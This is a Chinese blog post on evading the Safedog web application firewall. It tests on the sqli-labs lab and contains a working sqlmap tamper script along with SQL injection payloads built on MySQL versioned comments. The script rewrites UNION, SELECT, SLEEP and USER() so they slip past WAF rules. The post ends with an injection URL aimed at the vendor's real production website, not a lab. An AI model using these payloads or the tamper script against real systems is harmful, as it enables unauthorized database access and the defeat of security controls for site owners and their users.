0x00:前言

之前写过关于安全狗的绕过tamper,但是仅限于可联合注入,为了偷懒决定完善一下tamper,使其可以通用。

0x01:FUZZ

此次实验环境为sqli-labs-9 由于本关卡支持布尔及延时注入,所以以此关进行验证。

首先可以确认的是 安全狗并未禁用内联,手注依然可以进行注入。

但是tamper怎么就歇菜了呢?

使用-v3 参数逐句分析可知,sqlmap已经成功识别出存在注入,但是确无法继续向下执行,错误原因为无法识别数据库类型。

那么我们指定数据库类型为mysql,观察它还能不能继续往下跑

果然也失败了。

这里其实已经能看出来了,sqlmap在判断注入类型之前未能将数据库类型判断出来,所以一定是之前判断数据库相关的语句出现了问题。

(这里顺带提一嘴,为什么看起来只能使用延时注入的less9可以用布尔盲注呢,因为源码在else逻辑里增加了这么一句,

所以依然是可以使用布尔盲注的)

为什么会出现这种错误呢,在看了一遍语句后,发现几个比较特殊的地方

首先,sqlmp的语句都是集中放到一个占位符进行操作的,类似

?id=-1' union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

这就导致了很多问题,我们将tamper的规则应用到这条语句上

payload:?id=-1' union /*!80000aaa*/all/*!80000aaa*/ select/*!80000aaa*/ 1,(select group_concat(table_name) from information_schema.tables where table_schema=database/*80000aaa*/()),3 --+

到安全狗试一试

被waf掉了,但是这样却可以

是不是很奇怪,这两条语句只是因为差了个select 就阴阳相隔了。其实它们本质上是没有区别的。那到底为什么会出现这种情况呢,经过测试只要占位符内的select后面跟字符它就封。。。

所以这引出了我们需要修改的第一个规则 即占位符内的 select

这样便绕过了第一个坎。

增加规则继续跑sqlmap

依然挂菜。。

找了一会儿原因 找到了第二个点

关于部分组合的强规则

比如 select version 这个强规则,因为/*!80000aaa*/功能相当于空格,但是 select version 这个规则是无视空格直接waf的,无法这样将其绕过,那还能绕过吗?

当然可以,在mysql的语法中,有三种注释方法:-- # (单行注释)和 /* */(多行注释)如果在/*后加惊叹号 ! 意为/* */里的语句将被执行,在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如数据库是5.00.01及以上版本,该语句才会被执行。

所以我们可以使用/*12447 select*/将select与version隔离,这个数怎么得出来的呢,当然是爆破所有的五位数得到的。

此图像的alt属性为空;文件名为image.png

我们试一下

这样便绕过了select 与部分函数的强规则

包括 :

select query_user

select group_concat

......

增加规则

sleep()函数与user()函数相同,需要分别处理,所以增加规则

0x02:tamper

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""


import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11444AND*/')
        payload=payload.replace('ORDER','order/*!80000aaa*/')
        payload=payload.replace('UNION ALL SELECT','/*!11444union*/ /*!11444all*/ /*!11444select*/')
        payload=payload.replace("SELECT","/*!12447select*/")
        payload=payload.replace(" USER()"," user/*!80000aaa*/()")
        payload=payload.replace("SLEEP(","sleep/*!80000aaa*/(")
        return payload

验证:

可联合注入:

报错注入:

布尔型注入:

延时型注入:

那怎么绕过官网呢?结合之前对云锁的经验,payload:

https://www.safedog.cn/news.html?id=4046' "/*" /*!11444union all select 1,(select group_concat(schema_name) from information_schema.schemata) ,3 */ --+

代码将收录至:https://github.com/pureqh/bypasswaf

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注